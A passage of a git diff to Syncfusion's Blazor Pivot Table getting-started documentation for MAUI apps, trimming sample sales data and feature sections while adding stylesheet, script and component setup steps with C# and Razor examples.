-            productData.Add(new ProductDetails { Sold = 89, Amount = 60496, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 801880, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 204168, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 737800, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 884168, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 39, Amount = 729576, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 38860, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 93, Amount = 139412, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 61, Amount = 76904, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 43360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 62600, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 93496, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 89576, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 40, Amount = 33360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 75448, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 52345, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 13, Amount = 135612, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 91, Amount = 67824, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 81, Amount = 99904, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 49360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 65, Amount = 69600, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 391880, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 904168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 384168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 45448, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 92345, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 235612, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 90008, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 79, Amount = 90496, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 501880, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 104168, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 837800, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 684168, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 109, Amount = 29576, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 345860, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            return productData;
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-## Adding fields to row, column, value, and filter axes
+## Add stylesheet and script resources
 
-Organizing fields into appropriate axes transforms raw data into a structured, meaningful Pivot Table that enables users to analyze patterns and trends effectively. With the Pivot Table now initialized and populated with sample data, the next logical step involves organizing the appropriate fields into row, column, value, and filter axes to create a functional data analysis tool.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
-In the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class, four primary axes play a crucial role in defining and organizing fields from the bound data source to render the Pivot Table component in the desired format.
+```html
 
-**Understanding the four axes:**
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-- [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html) – Collection of fields that will be displayed along the row axis of the Pivot Table.
-- [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html) – Collection of fields that will be displayed along the column axis of the Pivot Table.
-- [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) – Collection of fields that will be displayed as aggregated numeric values within the Pivot Table.
-- [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) – Collection of fields that act as master filters over the data bound to the row, column, and value axes of the Pivot Table.
+```
 
-**Essential field properties:**
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-To define each field in its respective axis, configure the following basic properties:
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component
 
-* [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Name): Sets the field name from the bound data source. The casing must match exactly as it appears in the data source, otherwise the Pivot Table will not render correctly.
-* [Caption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Caption): Sets the field caption, which serves as the display name for the field in the Pivot Table.
-* [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Type): Sets the summary type for the field. By default, the [SummaryTypes.Sum](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SummaryTypes.html#Syncfusion_Blazor_PivotView_SummaryTypes_Sum) aggregation is applied.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
 <SfPivotView TValue="ProductDetails" Height="300">
      <PivotViewDataSourceSettings DataSource="@dataSource">
@@ -311,6 +155,9 @@ To define each field in its respective axis, configure the following basic prope
             <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
             <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
         </PivotViewValues>
+        <PivotViewFormatSettings>
+            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
+        </PivotViewFormatSettings>
     </PivotViewDataSourceSettings>
 </SfPivotView>
 
@@ -319,271 +166,64 @@ To define each field in its respective axis, configure the following basic prope
     protected override void OnInitialized()
     {
         this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
     }
 }
 
 {% endhighlight %}
-{% endtabs %}
-
-## Applying formatting to a value field
-
-Formatting enhances the readability and presentation of numerical data in a Pivot Table, making it more user-friendly and professional. For example, you can display values with currency symbols or adjust the number of decimal places for greater clarity.
-
-To apply formatting to value fields in a Pivot Table, use the [PivotViewFormatSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_FormatSettings) class. This class accepts a list of [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) objects, each defining formatting rules for a specific field in your data.
-
-Within each [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) object, set the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Name) property to match the exact field name from your value section. Then, specify the desired display format using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Format) property. In the example below, the **Amount** field is configured to display values in currency format using the "C" pattern, which includes currency symbols.
-
-N> Formatting can only be applied to numeric fields in the value section of the Pivot Table.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
+{% highlight c# tabtitle="ProductDetails.cs" %}
+
+public class ProductDetails
+{
+    public int Sold { get; set; }
+    public double Amount { get; set; }
+    public string Country { get; set; }
+    public string Products { get; set; }
+    public string Year { get; set; }
+    public string Quarter { get; set; }
+
+    public static List<ProductDetails> GetProductData()
     {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
+        List<ProductDetails> productData = new List<ProductDetails>();
+        productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
+        productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
+        productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
+        productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        return productData;
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 To see the Pivot Table in action, run your Blazor MAUI app on a Windows machine. The app will display the Pivot Table as shown below.
 
 ![Blazor Pivot Table Component](images/blazor-pivottable-maui-app.webp)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor Pivot Table in your Blazor MAUI app on an Android emulator, follow the steps below.
 
 1. Set up and start the Android emulator. For help, see the [Android Device Manager guide](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows).
 
-2. Run your app using the emulator to view the Pivot Table with formatting, as shown below.
+2. Run your app using the emulator to view the Pivot Table, as shown below.
 
 N> If you face any issues with the Android emulator, check the [Troubleshooting Android Emulator guide](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting) for solutions.
 
 ![Blazor Pivot Table with Formatting](images/blazor-pivottable-formatting.webp)
 
-## Enable Field List
-
-The field list enhances user interaction by allowing you to dynamically add, remove, and rearrange fields across different axes, including column, row, value, and filter axes. This user-friendly interface also provides sorting and filtering options that can be applied at runtime without requiring code changes.
-
-To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowFieldList) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. This activates the field list interface, making it accessible to users to modify Pivot Table report settings. For comprehensive details about field list functionality, [refer](./field-list) to the dedicated field list documentation.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
 
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor PivotTable with FieldList Icon](images/blazor-pivottable-fieldlist-icon.webp)
-
-## Enable Grouping Bar
-
-The grouping bar allows users to easily manage and modify the report settings of the Pivot Table directly through the user interface. With the grouping bar, users can instantly move fields between columns, rows, values, and filters by dragging them, allowing for quick arrangement and analysis of the data.
-
-Users can also use the grouping bar to sort, filter, or remove fields quickly without needing to write any code. To enable the grouping bar, set the [ShowGroupingBar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowGroupingBar) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. For more details about using the grouping bar, see the [Grouping Bar documentation](./grouping-bar).
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor PivotTable with Grouping Bar](images/blazor-pivottable-grouping-bar.webp)
-
-## Exploring Filter Axis
-
-The filter axis lets you show only the data you need in the Blazor Pivot Table, making analysis simpler. You can add fields to the filter axis to control what data appears in the [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html), [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html), and [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) axes. You can set up these fields in two ways: by adding them to the [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) collection in your code, or by dragging and dropping fields from other axes to the filter axis using the grouping bar or field list during runtime. This helps you focus on specific data without changing the Pivot Table’s structure.
-
-The following example shows how to add a field to the filter axis in a Blazor Pivot Table:
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" ShowFieldList="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewFilters>
-            <PivotViewFilter Name="Country"></PivotViewFilter>
-        </PivotViewFilters>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor PivotTable with Formatting](images/blazor-pivottable-format.webp)
-
-## Calculated Field
-
-The calculated field feature enables users to create custom value fields using mathematical formulas and existing fields from their data source. Users can perform complex calculations with basic arithmetic operators and seamlessly integrate these custom fields into their Pivot Table for enhanced data visualization and reporting.
-
-Users can add calculated fields in two ways:
-- **Using code:** Set up calculated fields through the [PivotViewCalculatedFieldSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewCalculatedFieldSetting.html) class when configuring the Pivot Table.
-- **Using the user interface:** Alternatively, calculated fields can be added at runtime through a built-in dialog by setting the [AllowCalculatedField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_AllowCalculatedField) property in the SfPivotView class to **true**. When enabled, a button appears in the Field List UI. Clicking this button opens a dialog that allows users to create, edit, or remove calculated fields at runtime. To learn more about calculated fields, [refer](./calculated-field) here.
-
-N> By default, the calculated fields created through code-behind are only added to the field list and calculated field dialog UI. To display the calculated field in the Pivot Table UI, it must be added to the [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) class, as shown in the code below. Additionally, calculated fields can only be added to the value axis.
-
-Below is a sample code that shows how to set up calculated fields both through code-behind and using the popup dialog:
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" AllowCalculatedField="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Unit Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-            <PivotViewValue Name="Total" Caption="Total Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-            <PivotViewFormatSetting Name="Total" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-        <PivotViewCalculatedFieldSettings>
-            <PivotViewCalculatedFieldSetting Name="Total" Formula="@totalPrice"></PivotViewCalculatedFieldSetting>
-        </PivotViewCalculatedFieldSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public string totalPrice = "\"" + "Sum(Amount)" + "\"" + "+" + "\"" + "Sum(Sold)" + "\"";
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the Pivot Table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor PivotTable with Calculation Button](images/blazor-pivottable-calculate-button.webp)
 
 ## Handling exceptions
 
@@ -592,9 +232,9 @@ You can handle errors that occur during Pivot Table actions without stopping you
 The following code example shows how to display a server-side error message to the user when a data operation fails:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
 <span class="error">@ErrorDetails</span>
 <SfPivotView TValue="PivotViewData" Width="100%" Height="450" AllowDataCompression="true" EnableVirtualization="true" ShowFieldList="true" ShowGroupingBar="true" MaxNodeLimitInMemberEditor="50">
@@ -651,4 +291,4 @@ N> [View Sample in GitHub.](https://github.com/SyncfusionExamples/Blazor-Getting
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
\ No newline at end of file
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
diff --git a/blazor/pivot-table/getting-started-with-server-app.md b/blazor/pivot-table/getting-started-with-server-app.md
